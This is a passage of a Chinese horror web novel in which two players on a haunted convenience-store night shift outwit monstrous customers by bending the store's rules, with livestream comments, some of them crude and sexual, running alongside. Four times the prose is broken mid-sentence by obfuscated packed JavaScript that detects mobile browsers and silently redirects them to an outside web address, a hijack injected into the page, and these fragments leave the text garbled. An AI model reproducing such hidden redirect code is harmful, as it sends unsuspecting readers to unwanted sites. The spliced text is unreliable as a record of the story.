庄静娴攥紧矿泉水瓶。 谢秋慈继续说,声音很轻,像在自言自语:“怕没有用,哭没有用,吐也没有用,死了就是死了,活着的人得继续活着。” 他顿了顿,看向庄静娴:“所以你最好也习惯一下。” 庄静娴张了张嘴,想说什么,但最后只是用力点头。 她蹲下来,开始帮谢秋慈捡那些滚到远处的瓶子,手指碰到冰凉的地面,触感黏腻——是血,还没完全干。 她胃里一阵翻涌,但还是咬牙忍住,把瓶子一个个捡回来。 谢秋慈收拾完,看了眼墙上的挂钟:凌晨1点20分。 距离凌晨3:33的货架整理,还有两小时十三分钟,距离早上6点下班,还有四小时四十分钟。 距离下一个顾客…… 门口的风铃又响了。 “叮铃——” 谢秋慈和庄静娴同时看向门口。 自动门没有立刻开,门外依然是蠕动的黑暗,但风铃在响,一下,两下,三下,像是有什么无形的东西在拨动。 在这种未知的恐惧刺激下,庄静娴的心跳一声比一声大,就在她忍不住想要后退的时候,终于,大门被推开了。 不是自动滑开,是被某种力量从外面推开的,门缝里先挤进来一条腿,毛茸茸的,土黄色的狗腿。 接着是整个身体。 那是一条很普通的土狗,体型中等,毛色杂乱,还有一点脏兮兮的泥巴沾在身上,尾巴垂着,它走进来在门口的地垫上蹭了蹭爪子,然后抬起头。 庄静娴的呼吸骤停。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493637|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 狗的脸,不是狗脸。 那是一张中年男人的脸,或者说是半个头粘合在了狗的身体上,皮肤蜡黄,眼袋很重,嘴角下垂,表情愁苦,像是被生活压垮了的中年社畜。 这张脸长在狗的身上,说不出的诡异,并且立刻激发了庄静娴的恐怖谷效应,让她不受控制地打了个冷颤,胃里一阵恶心翻腾,比看到裂口女时更甚。 人面犬。 它走进来,爪垫踩在瓷砖地面上,发出“啪啪”的轻响,它没去看货架,径直走到谢秋慈脚边,仰起头,那张中年男人的脸,嘴唇动了动,发出沉闷带着点嘶哑的声音:“我是人,还是狗?” 声音也是中年男人的声音,但语调平板,没有起伏。 庄静娴的背脊瞬间绷紧。 要怎么回答?回答“人”,可能会触发“那你为什么要和狗说话”“狗为什么会长着人的脸”之类的即死判定。 回答“狗”,可能会被同化,真的变成狗,可是不回答,就会违反规则“不得拒绝顾客的任何要求”。 她看向站在前面的谢秋慈,心脏狂跳。 如果谢秋慈回答错了,如果谢秋慈死了,那么下一个毫无疑问就是自己,庄静娴的心里没有任何庆幸,因为自己没有任何破局的办法,这一刻,她比谁都更希望谢秋慈能够活下来。 求求了……不管哪路神仙,求你了,保佑谢秋慈,保佑我们…… 谢秋慈低头,看着脚边那条狗,或者说,那个长着人脸的狗身体,他看了三秒,然后蹲下来和狗平视。 他微笑着伸出手,掌心向上,手指弯曲,做了个招手的动作,然后用一种很随意的,像是在小区里逗流浪狗的语气,说: “嘬嘬嘬,过来。” 人面犬:“……” 庄静娴:…… 那张中年男人的脸上,露出了非常明显的,近乎呆滞的困惑表情。 它的狗耳朵抖了抖,狗尾巴原本垂着的,此刻下意识地,非常轻微地摇了一下。 庄静娴猛地瞪大眼睛。 谢秋慈似乎没看见人面犬的困惑,继续保持着那个姿势,又问了一遍:“你先回答我,你是狗还是人?答对了我就回答你。” 人面犬沉默。 那张愁苦的中年人脸皱得更紧了,眉毛拧在一起,像是在努力思考这个问题的逻辑。它的狗嘴——如果那算是狗嘴的话,微微张开,舌头吐出来一点,又缩回去。 过了大概五秒钟,它终于又开口,还是那个沉闷的声音:“我……我不知道。” 这次声音里多了点茫然。 谢秋慈点点头,站起身走到旁边的零食货架,从上面拿了一块纯可可脂的黑巧克力,他撕开包装掰了一小半,递到人面犬面前。 “不管是什么,”他说,“你饿不饿?” 庄静娴瞳孔一缩。 狗不能吃巧克力!巧克力里的可可碱对狗是剧毒! 她想提醒,但话到嘴边又咽了回去,这不是真的狗,这是怪物,她可不是圣母,没有多余的同情心。 而且,庄静娴看向谢秋慈,对方表情平静,眼神里甚至带着点“我就是在喂狗”的理所当然。 他是故意的吗?他知道? 5. 微笑便利店5 在庄静娴紧张的注视下,人面犬低头嗅了嗅那块巧克力。 它的狗鼻子上下动了动,似乎是身体的进食本能压制住了大脑的思考,猛地伸出舌头把巧克力卷进嘴里,咀嚼了两下,吞了下去。 庄静娴生怕人面犬会突然发难,张开血盆大口咬掉谢秋慈的手,她看着谢秋慈悠闲的表情,心里七上八下,但好在这种情况并没有发生。 人面犬吃完巧克力抬起头,那张中年男人的脸上露出了一个非常复杂的表情,像是满足,又像是困惑,还带着点难以言喻的悲伤。 它盯着谢秋慈看了好几秒,然后伸出前爪,在地板上刨了刨,一枚硬币被推了出来。 一元硬币在红光照映下泛着暗沉的光,硬币表面很干净,没有黏着皮肤碎屑之类的东西。 人面犬用鼻子把硬币往前推了推,推到谢秋慈脚边。 接着,它转身小跑着冲向门口,自动门感应到它的靠近,无声滑开,人面犬窜出去,消失在门外的黑暗里。 门又合拢了。 安全了……庄静娴松了一大口气,腿一软,差点坐到地上,她扶住收银台,才发现自己后背全是冷汗。 谢秋慈弯腰捡起那枚硬币,在手里掂了掂,然后放进收银机里,硬币落进抽屉,发出“叮”的一声脆响。 “规则5,”他说,“只收现金,找零必须是硬币,它给了硬币,算是付了巧克力的钱。” 庄静娴艰难地开口:“你知道狗不能吃巧克力吧?” “知道。”谢秋慈走回收银台后,从纸巾盒里抽了张开始擦手,虽然刚才喂巧克力时并没有沾到什么东西,“但它是狗吗?” 庄静娴一愣。 “它长着人脸,会说人话,还问问题,”谢秋慈擦完手,把纸团扔进垃圾桶,“它到底是什么,规则没定义,我也不需要知道,我给了它食物,它吃了还付了钱,这就够了。” 他说得轻描淡写,庄静娴张了张嘴,想反驳,但发现逻辑上居然说得通。 规则只规定了顾客永远是对的,不能拒绝要求,但没规定“顾客”必须是人类,也没规定“食物”必须符合常理。 同样,也没有规定他们必须要给顾客满意的回答,包括之前的裂口女也是,自己居然现在才想明白。 这个人……在利用规则的漏洞。 不,他是在重新定义规则。 仿佛知道庄静娴终于想通,谢秋慈微微弯唇,补充说:“面对有些顾客无理的要求,店员当然有资格不回答。比如之前有很多人问我想不想被包养……” 庄静娴忍不住接话:“你就没理他们?” 谢秋慈眨了下眼睛,没否认,也没承认。 弹幕早就密密麻麻,越来越多的观众涌进来:【哈哈哈哈哈哈哈哈我笑疯了!!!】 【他居然对着人面犬嘬嘬嘬?】 【唉,肯定被包养过了,一想到他被很多人睡过我就难受,为什么不能让我也睡一睡】 【新人的胆子和脑子都可以啊,当然脸也不错】 【继续看吧,接下来还有顾客,没那么简单结束】 弹幕刚飘过这条,门口的风铃又响了。 “叮铃——” 这次声音很轻很慢,响一下,停几秒,又响一下,像是有人在门外,用手指轻轻拨弄风铃。 谢秋慈和庄静娴同时看向门口。 玻璃门外站着一个人。 不,能在恐怖游戏里出现的,肯定不能完全确定是“人”。 那是个穿西装的男人,深灰色西装,白衬衫,打领带,头发梳得一丝不苟。他手里撑着一把黑色的长柄伞,伞面很大,完全遮住了他的上半身,只能看见下半身的西装裤和锃亮的皮鞋。 他就站在门外,一动不动,伞沿在滴水,一滴,两滴,滴在便利店门口的地垫上。 但奇怪的是,地垫是干的。 那些水珠滴落,在接触到地垫的瞬间就消失了,像被什么吸收了,又像从来不存在。 庄静娴心里一紧,飞速思考着,规则没说顾客必须进门,这个“人”站在门外,算顾客吗?他要进来吗?最好别进来,快点走,快点走…… 她旁边,懒洋洋靠着墙的谢秋慈突然站直身体,看着门外那个撑伞的男人,看了几秒,主动走过去,伸手推开了玻璃门。 “欢迎光临。”他微笑。 庄静娴缓缓抬起双手,崩溃地捂住了自己的头。 啊啊啊啊啊啊!!谢!秋!慈!! “作死”两个字被放大加粗还描了金边,立刻浮出在庄静娴的脑海里,她内心的小人在疯狂尖叫哀嚎,她真的很想冲过去把谢秋慈拉回来,摇晃着对方的肩膀,让对方不要作死了。 虽然说,之前谢秋慈面对怪物的举动也是在作死,但至少结果是好的,可现在,谢秋慈是主动在寻死啊,让那个鬼东西就站在门外不进来或者离开不好吗?!他居然主动把那东西叫进来啊啊啊!! 弹幕的反应和庄静娴截然相反:【我确定了,他就是单纯爱作死,能安全活到现在全凭运气】 【我倒觉得他敢作死,就说明他是有实力的,你们还是太肤浅了】 【他刚才弯腰喂狗的时候,那里好圆润啊,是故意抬起来勾引我的吧,想草】 【弹幕别发//春行吗,可曾记得这是恐怖游戏直播间??】 【好看爱看,就是要这样作死才刺激,那些被游戏牵着鼻子走的直播根本不好看】 门外的男人缓缓抬起头。 伞沿上抬,露出他的脸,那是一张很普通的男人的脸,五官平庸,表情呆板,只有眼睛是纯黑色的,没有眼白,像两个深不见底的黑洞,昭示着他非人类的身份。 他透过门,看向谢秋慈,又看向店内的庄静娴,最后看向收银台后面那些玻璃罐。 然后他开口,声音沙哑,像是很久没说过话:“寄存伞。” 他把手里的黑伞往前递了递。 庄静娴心脏狂跳,规则里说了,不得拒绝顾客的任何要求,但那把黑伞明显不是普通的东西,可能是怪物的一种,也可能是武器,或者是什么新的陷阱。 她紧张地看向谢秋慈。 谢秋慈平静地微笑,伸手接过伞。 伞很重,比普通的伞重很多,像是吸附了什么东西,伞柄是木质的,触感冰凉,像握着一块冰。 伞面是纯黑色的,布料厚实,上面有细密的纹路,像是某种符文,但在红光下看不太清。 谢秋慈拿着伞转身走回收银台,他没把伞放在通常的伞架里,实际上便利店里也没有伞架,他走到收银台旁边的垃圾桶旁,看了看,然后…… 他把伞撑开,伞柄朝下插进了垃圾桶里。 黑伞像一面黑色的旗帜,立在垃圾桶中,伞面完全张开,在收银台旁边投下一片浓郁的阴影。 男人站在门口,黑洞洞的眼睛盯着那把垃圾桶里的伞,脸上的肌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493638|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉抽动了一下。 谢秋慈转身走回门口,对男人说:“放这儿行吗?挺好看的,当装饰。” 男人:“……” 庄静娴:…… 弹幕:…… 男人沉默地看着自己的伞像旗杆一样立在垃圾桶里,又看向谢秋慈,黑洞洞的眼睛里没有任何情绪,但嘴角再次很轻微地,几乎看不见地抽了抽。 过了几秒,他开口,声音更沙哑了:“买东西。” 他没说买什么,庄静娴心里又是一突突,觉得又是一个陷阱,可是谢秋慈却仿佛没有意识到任何问题,侧身做了个“请”的手势:“雨伞专区在5号货架。” 男人真的转身走向5号货架。 庄静娴再次目瞪口呆。 她看着伞妖走到货架前,在那些花花绿绿的折叠伞、自动伞、防晒伞中挑选,最后拿了一把黑色的长柄伞,和寄存的那把几乎一模一样,只是伞柄是金属的,不是木质的。 伞妖拿着新伞走回收银台,递给谢秋慈。 谢秋慈扫码,收银机“嘀”一声,显示金额:35元。 “现金还是硬币?”他问。 伞妖从西装内袋掏出一张钞票,同样是一百元,但湿漉漉的,像刚从水里捞出来,还在往下滴水,水滴落在收银台上,晕开一小滩水渍。 谢秋慈接过钞票,指尖传来冰凉的触感,他看了看,是真钞,只是湿了,没说什么,打开收银机抽屉,开始数硬币找零。 一枚,两枚,三枚…… 他数得很慢,每一枚硬币都仔细检查,在手里转一圈,确认面值,然后才放进小纸袋,动作慢条斯理,像在做什么精细的手工活。 伞妖站在收银台前等,一开始他还站着不动,但随着时间的推移,他开始有些不耐烦。 左脚换右脚,右脚换左脚,手指在收银台面上轻轻敲击,频率越来越快,仿佛在忌惮着什么,不想在这里过多停留。 谢秋慈像是没看见,继续数硬币。 “……六十三,六十四,六十五。” 终于数完六十五枚一元硬币,他把硬币装进小纸袋,封好口,递给伞妖:“找65元,请拿好。” 伞妖接过纸袋,看也没看,转身就走,他走得很快,几乎是冲出门的,连新买的伞都差点忘了拿,走到门口才想起,又折回来抓起伞,再次冲出去。 自动门在他身后合拢,门外,伞妖撑着新买的黑伞,快步走进黑暗里,很快消失了。 便利店重新安静下来。 只有那把插在垃圾桶里的黑伞,还静静立着,伞面完全张开,投下的阴影比刚才更浓郁了,几乎像一团实质的黑雾,在地面上缓缓流动。 谢秋慈走过去站在伞边,低头看那片阴影。 庄静娴松了口气,也凑过去,她看见在那片浓郁的阴影里,有什么东西在动,密密麻麻的,像是…… 眼睛。 无数只细小的纯黑色的眼睛,在阴影里睁开又闭上,一眨一眨,没有眼白,只有瞳孔,像撒了一地的黑豆。 那些眼睛在看着她。 庄静娴猛地后退一步,背脊发凉。 谢秋慈却蹲下身,伸出手,指尖悬在阴影上方,那些细小的眼睛随着他的手指移动,全部“看”向他。 店内广播突兀地响起,吓得庄静娴哆嗦了一下:“检测到无主物品。员工可自行处理。” 声音平板,似乎还带着一丝不满的怒意。 6. 微笑便利店6 谢秋慈站起身,伸手握住伞柄,冰凉刺骨的触感瞬间从掌心蔓延到手臂,他手指微微收紧,试着把伞合上。 但伞纹丝不动。 无论他用多大力,伞骨像是焊死了一样,完全无法收拢,伞面依然张开,投下那片有眼睛的阴影。 谢秋慈松手走回收银台,从抽屉里找出一卷透明胶带,撕了一截,然后回到伞边,用胶带在伞柄上缠了几圈,把伞固定在垃圾桶边缘。 庄静娴已经不知道第几次说不出话了。 她看向谢秋慈,忍不住问:“你怎么知道那样处理伞妖的要求?万一他生气了……” “规则只说‘不得拒绝要求’。”谢秋慈晃了晃没喝完的可乐瓶,“他要求寄存伞,至于寄存的方式他没指定,所以我用我的方式寄存了,没问题啊。” 庄静娴知道自己的问题太多,或许会惹谢秋慈厌烦,她犹豫了一下,还是好奇心占上风:“可你数硬币数那么慢……?” “让他不耐烦,故意拖他的时间。”谢秋慈弯了弯唇角,“不耐烦就会想赶紧走,时间不够就更着急,一着急,就容易忘东西。” 这是他在便利店里打了几个月工得出的经验,大部分客户人都没有耐心,就连扫商品码的动作稍微慢一点,都会被客人骂。 当然,他这张脸帮他挡了大多数的骂声,最后投诉他的基本都是男客户,附言总会捎带一句小白脸。 谢秋慈顿了顿,补充说:“而且他如果真想要回那把伞,会自己开口,但他没开口,说明要么那把伞不重要,要么他不敢开口要。” 庄静娴愣了愣:“不敢?” 谢秋慈没解释,只是看向那把黑伞,伞下的阴影里,那些眼睛还在眨动。 庄静娴顺着谢秋慈的目光看去,她并不是笨蛋,丰富的游戏文案策划经验让她很快反应过来,那把伞,可能不是伞妖“想”寄存的。 而是伞妖“必须”寄存的。 不光是玩家要遵守副本的规则,这些NPC也需要遵守副本的规则,或者某种束缚,是这个恐怖便利店里必须有的剧情流程。 庄静娴兀自出神,她不知道谢秋慈是怎么知道的,对方的脑回路根本不是常人能理解的。 职业经验和直觉告诉庄静娴,这把伞肯定是玩家可以获得的游戏道具,而且品质肯定不低,但她丝毫没有要和谢秋慈抢道具的想法。 笑话,谢秋慈现在可是她需要讨好的金大腿,是唯一能够带她通关的人,她怎么可能不要命去和谢秋慈作对? 【宝贝数硬币的手也很好看,很适合给我当杯子嘻嘻】 【虽然我还是没怎么听懂,但我听出来了谢秋慈从一开始就在算计】 【那伞绝对是好东西,新手副本就能拿到厉害道具的人可不多】 【不是,每次主播秀一下,弹幕怎么就冒出来这么多痴汉和这么多嬷嬷??】 【好久都没见到长脑子的新人了,我现在相信他能活下去了,先点个关注】 凌晨2点47分。 庄静娴坐在收银台旁的高脚凳上,那是店长平时坐的位置,凳子腿有点晃,但总比站着强。 她手里拿着手机,屏幕上显示着之前拍下的《员工守则》照片,她已经把那十条规则来来回回看了十几遍,几乎能背下来。 【规则4:凌晨3:33必须完成所有货架整理,商品需按标签颜色分类】 【规则7:如果看到穿红色雨衣的儿童在门外,请给他一颗糖果并告诉他“妈妈在等你”】 “3:33,”庄静娴盯着手机屏幕,眉头紧锁,“规则只说要在那个时间点完成整理,但没说要整理成什么样才算‘完成’。” 她抬起头看向货架区,便利店不算大,但货架有十二排,每排四层,上面堆满了各种商品。食品、饮料、日用品、文具、小家电……光是分类就要花不少时间。 “还有红色雨衣儿童那条。”她继续说,声音压得很低,像是怕被什么东西听见,“规则说‘给他一颗糖果’,但没指定什么糖。水果糖?巧克力?软糖?如果给错了会怎么样?” 谢秋慈停下转硬币的动作,微微抬眼看向她:“你这么担心规则陷阱?” “难道不该担心吗?”庄静娴苦笑,“刚才裂口女、人面犬、伞妖,每一个都可能触发即死。规则写得越模糊,陷阱就越多。” 她顿了顿,补充:“我是游戏策划,专门做解谜和规则类游戏的。这种文本就是故意留漏洞让玩家踩坑的。” 谢秋慈点点头,没说话,只是继续转硬币。 庄静娴看着他平静的侧脸,深吸一口气,强迫自己把注意力放回规则上。 “规则4和规则7可能会冲突。”她说,手指在手机屏幕上滑动,“如果3:33正在整理货架,但红色雨衣儿童突然出现,怎么办?规则4要求必须完成整理,规则7要求必须给糖。如果同时发生,优先处理哪个?” 谢秋慈捏着硬币在桌上打了个转,银币脱离他的指尖,在桌上自动旋转起来,他无所谓地垂眼:“想这么多不累吗?” 庄静娴扯了扯嘴角:“职业病,做游戏策划的,就是要预判玩家的所有可能操作,然后设计对应的事件触发条件。” 当然,想活命才是最根本的原因,为了活下去,她不得不多想一些。 “那策划姐姐,你预判一下,接下来会发生什么?”谢秋慈饶有兴趣地问。 陡然被叫了声姐,庄静娴居然被“媚”到了,突然就理解了为什么闺蜜喜欢和弟弟谈恋爱,真好听啊,感觉整个人都舒爽了…… 她沉默几秒,然后说:“按照恐怖游戏的常见套路,3:33之前应该会有干扰事件,阻止或者拖延我们整理货架。可能是新的顾客,也可能是……” 她的话没说完。 因为便利店深处,传来了开门声。 “吱呀——” 是那种老旧的,生锈的门轴转动的声音,刺耳又难听。 声音来自便利店最里面,那里有一扇门,平时锁着,门上贴着“员工专用,顾客止步”的牌子。 现在,那扇门开了。 庄静娴的呼吸瞬间屏住,谢秋慈也停下转硬币的动作,两人同时看向那个方向。 一个人从门里走出来。 是个年轻男人,看起来二十出头,穿着和谢秋慈身上一样的便利店店员制服,深蓝色polo衫,胸口有“7-24”的logo。 他脸色很白,不是正常的白,是那种青白色的,像死人一样的白,眼睛很大,但眼珠没什么神采,直勾勾地看着前方。 他走过来,脚步很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493639|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻,几乎没声音。直到走近了,庄静娴才看清他胸口的名牌: 【小李】 【入职时间:2023.7.15】 现在是2026年。如果他2023年入职,那已经在这里工作三年了。 三年夜班。 庄静娴的背脊开始发凉,她想起之前从货架深处传来的塑料袋咀嚼声,那些湿漉漉的,黏腻的声响,这个“小李”,就是发出那些声音的东西吗? 小李走到收银台前停下,他转动脖子,动作有点僵硬,先是看向庄静娴,然后又看向谢秋慈。 他的眼睛在谢秋慈脸上多停留了几秒,然后开口,声音平板,没有起伏:“新人?我是小李,今晚的夜班同事。” 谢秋慈点头:“你好,我是谢秋慈。这位是庄静娴。” 小李像是没听见庄静娴的名字,只是盯着谢秋慈:“店长让我带新人。来,我教你们理货。” 说着,他转身朝货架区走去,走了两步又停下,回头说:“跟上。” 【什么等级的NPC啊?能开r18吗】 【小李?名字好普通,但样子好恐怖】 【脸白得像死人,眼睛都没焦点】 【在这鬼地方上了三年夜班?】 【他脖子!你们看他脖子!】 庄静娴也看见了。 在小李转身的瞬间,他制服的领口微微敞开,露出了脖子侧面,那里有一道很深的缝合线,针脚粗糙,像是用粗线随便缝起来的,缝合线周围的皮肤颜色更深,泛着不正常的青紫色。 而且,随着他走路,那条缝合线似乎在……蠕动。 像有什么东西在皮肤下面动。 庄静娴一阵反胃,下意识后退了半步。 谢秋慈却已经迈步跟上去了,他走得不紧不慢,像是真的要去跟老员工学理货。 庄静娴咬了咬牙,也跟上去,她不敢一个人留在收银台。 小李带着他们走到食品货架区,他伸手指了指货架上的商品,开始讲解,声音还是那样平板:“食品区,按保质期排。快过期的放前面,新日期的放后面。这样好卖。” 他拿起一包薯片,看了看生产日期,然后把它从第三排挪到第一排,动作很熟练,确实是老员工的样子。 “日用品,按颜色。”他又走到旁边的货架,拿起一瓶蓝色的洗洁精和一瓶绿色的洗洁精,“同色系的放一起,看着整齐。” “饮料区,”他走到饮料货架前,就是刚才被赵强撞倒、又被谢秋慈扶起来的那排货架,停顿了一下,然后说,“按品类。碳酸饮料、果汁、茶饮、矿泉水,分开放。” 庄静娴默默记下。规则纸条上写的是“商品需按标签颜色分类”,但小李说的是按品类。哪个是对的? 她正思考着,小李突然转过头,看向谢秋慈。 他的眼睛在红光下显得更空洞了。 “你脸色不太好。”小李微笑着说,像在背台词,“是不是累了?夜班确实辛苦,尤其是新人,不适应。” 他往前凑了凑,压低声音,带着撺掇:“仓库有休息室,有床,可以去躺躺。店长不会发现的。” 规则8:本店没有地下仓库。如果听到仓库传来敲门声,不要回应。 小李在诱导他们去“仓库”。 7. 微笑便利店7 庄静娴的心跳骤然加快,她看向谢秋慈,用眼神示意他不要答应。 谢秋慈却像是没看见她的眼神,他看着小李,脸上露出一个很浅的微笑:“不累。倒是你,眼睛这么红,昨晚没睡好?” 他往前凑了凑,几乎要贴到小李脸上,仔细看他的眼睛。 “结膜充血,眼白有血丝,肝火旺啊。”谢秋慈语气认真,像医生在问诊,“2号货架有菊花茶,清热去火,员工价八折。要不来一盒?” 小李:“……” 庄静娴:…… 小李僵在那里,那张青白的脸上第一次出现了明显的表情变化,嘴角抽了抽,眼珠子转动了一下,像是在消化谢秋慈的话。 过了几秒,他才从喉咙里挤出两个字:“……不用。” 声音比刚才更哑了。 【他在诱导去仓库!规则8说了没有仓库!】 【谢秋慈反手一波关心同事身体健康】 【小李:我是让你去仓库送死,你怎么还关心起我睡眠质量了???】 【老婆果然人美心善,还知道关心同事,其实也可以关心一下我,我已经有十分钟没有对着老婆撸了(羞涩)】 【庄静娴在旁边疯狂使眼色,谢秋慈看都不看】 【他在故意激怒NPC吗?要是他来我的副本,我保准第一个杀他】 小李沉默了几秒,然后转身,继续讲解理货规则,但他的语速变快了:“啊,对了,饮料其实要按价格从高到低排,这样好卖。贵的放前面,便宜的放后面。” 庄静娴瞳孔一缩。 规则纸条上明明写的是“按标签颜色分类”,小李之前也说“按品类”,现在又说“按价格”。他在故意说错,在诱导他们违反规则! 她想提醒谢秋慈,但谢秋慈已经走到饮料货架前,开始动手了。 他真的按小李说的,把饮料按价格从高到低排,最贵的红牛放在最前面,然后是功能饮料,接着是果汁,最便宜的两元矿泉水放在最后面。 小李站在他身后,看着他的动作,嘴角一点点咧开。 那是一个很诡异的笑容,嘴角几乎咧到耳根,但眼睛里没有一点笑意,只有冰冷的、残忍的光。 他在等。 等谢秋慈排完,等3:33到来,等规则判定“整理错误”,然后…… 但他的笑容很快僵住了。 因为谢秋慈在排饮料的时候,不只是按价格排。 他还顺便,把每一瓶饮料的标签颜色,调整了。 红牛的标签是蓝色和银色,他把它和同为蓝银色标签的某品牌功能饮料放在一起。橙汁的标签是橙色,他和其他橙色标签的果汁放一起。矿泉水的标签是蓝色,他单独放了一排。 价格从高到低,同时,标签颜色也分类了。 小李的嘴角慢慢收回去,脸上的表情重新变得平板,但眼神更冷了。 庄静娴在旁边看着,心里掀起惊涛骇浪。她明白了,谢秋慈从一开始就知道小李在说错规则,但他没有拆穿,而是用这种方式,同时满足了“价格排序”和“标签颜色分类”两个可能的要求! 无论规则到底要求哪个,他都不会错! 【我靠!我靠!】 【谢秋慈居然真的按他说的做……等等,不对!】 【你们看他排的顺序,他同时满足了两种可能的要求】 【小李的笑容僵住了哈哈哈】 小李沉默了大概十秒钟,似乎是在平息自己的怒气,转身朝日用品货架走去。 “日用品……”他开口,但话没说完。 门口突然传来哭声。 是小孩子的哭声,细细的,抽抽噎噎的,在安静的便利店里格外清晰。 三个人同时转头看向门口。 玻璃门外,站着一个小孩。 大概六七岁的样子,身上穿着红色的雨衣,雨帽戴在头上,遮住了大半张脸。雨衣是明红色的,在门外蠕动的黑暗中格外刺眼。 小孩手里抱着一个脏兮兮的玩偶熊,玩偶的一只眼睛掉了,露出里面的棉絮。 他站在门外,用小手拍打玻璃门,一边拍一边哭:“妈妈……妈妈你在里面吗?” 声音带着哭腔,稚嫩但诡异。 规则7:如果看到穿红色雨衣的儿童在门外,请给他一颗糖果并告诉他“妈妈在等你”。 庄静娴的心脏骤然收紧。 来了,红色雨衣儿童,而且是在3:33之前,在他们还没完成货架整理的时候来了。 小李的眼睛亮了一下,他迅速转身,朝收银台跑去,一边跑一边说:“我去拿糖果,你们别动!” 但他的动作还是慢了。 谢秋慈已经朝门口走去,他走得很快,走到收银台时顺手从糖果架上抓了一把水果糖。 庄静娴咬咬牙也跟上去,她不敢一个人留在货架区,尤其是不知道是人是鬼的小李还在旁边。 小李停在收银台边,看着谢秋慈主动去送死的背影,嘴角又咧开了。 谢秋慈走到玻璃门前,伸手推开门,门外的冷空气涌进来,带着一股潮湿的,像是雨后的泥土腥味。 红雨衣男孩抬起头,雨帽下,他的脸露了出来。 庄静娴又一次呼吸一窒,她已经记不清自己今晚被吓了多少次,这么多次都没有晕过去,自己可真坚强。 男孩没有脸。 不是毁容,不是空白,而是他的整张脸都被一层厚厚的、深棕色的、像是粗糙织物般的东西覆盖着。 那东西严丝合缝地贴在他的皮肤上,甚至能看出下面五官的轮廓,但没有任何孔洞,没有眼睛,没有鼻子,没有嘴。 在本该是嘴的位置,那层织物裂开了一道歪歪扭扭的缝隙,缝隙边缘的线头支棱着,随着哭声,那道缝隙一张一合:“妈妈,我要妈妈……” 声音就是从缝隙里传出来的,闷闷的,带着布料摩擦的杂音。 谢秋慈蹲下来,视线与男孩“脸”上那道裂缝平齐,看了一眼男孩紧紧搂在怀里的玩偶熊,熊的脖颈处有一圈不自然的深褐色缝合线,针脚粗糙,一只掉了眼睛的眼眶黑洞洞地“看”着前方。 他从手里那把糖中挑出一颗橙子味的,剥开糖纸,递到男孩面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493640|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 “给你糖。”谢秋慈的声音很平静,甚至可以说温和,“你妈妈在等你。” 一字不差,规则7的内容。 男孩“脸”上那道裂缝张大了些,里面是更深邃的黑暗,他伸出那只空着的小手接过糖,塞进裂缝里。 “嘎嘣、嘎嘣……”清脆的咀嚼声从裂缝后面传来,伴随着类似布料被撕扯的细微声响。 男孩一边嚼,一边用那只手无意识地,极其轻柔地抚摸着怀里玩偶熊的后背,动作充满了依恋。 糖吃完了,他停下咀嚼,那道裂缝又张开了:“妈妈说要带我回家……” 声音还是童声,但语调变得很奇怪,像是在模仿大人说话,又像是在复述。 “妈妈说她在雨里……等我……” “雨好大,她好冷……” 男孩说话时,抱着玩偶熊的手臂收得更紧了,几乎要把那只破旧的玩具勒进自己小小的身体里。 玩偶熊那只完好的塑料眼睛,在便利店的红光下,似乎反射出了一点极其微弱的,湿润的光泽。 规则7只说到给糖和说话,没下文了。 但男孩明显不打算走,他就站在门口,裂缝“盯”着谢秋慈,抱着熊等待着。 小李突然在收银台那边开口,声音抬高,带着一种夸张的急切:“他知道,他知道你妈妈在哪!让他带你去!” 男孩的“脸”猛地转向谢秋慈。 覆盖着脸的棕色织物开始不自然地蠕动凸起,仿佛下面有什么东西在挣扎,他抱着玩偶熊,朝谢秋慈迈近了一小步,那只灰黑色指甲的小手再次伸出来,这次是直直抓向谢秋慈的手腕。 “带我去找妈妈……”声音里的哭腔消失了,取而代之的是一种空洞的冰冷,在嘶吼,“带我去!带我去!!” 庄静娴的心脏快要跳出喉咙,规则没说可以带他“找妈妈”,更何况他们真的能够走出这个便利店吗?外面那些黑雾绝对不是好惹的,谢秋慈出去了,还能回来吗? 但如果不回应,算不算违反“顾客永远是对的”?这个状态下的男孩,还算是“顾客”吗? 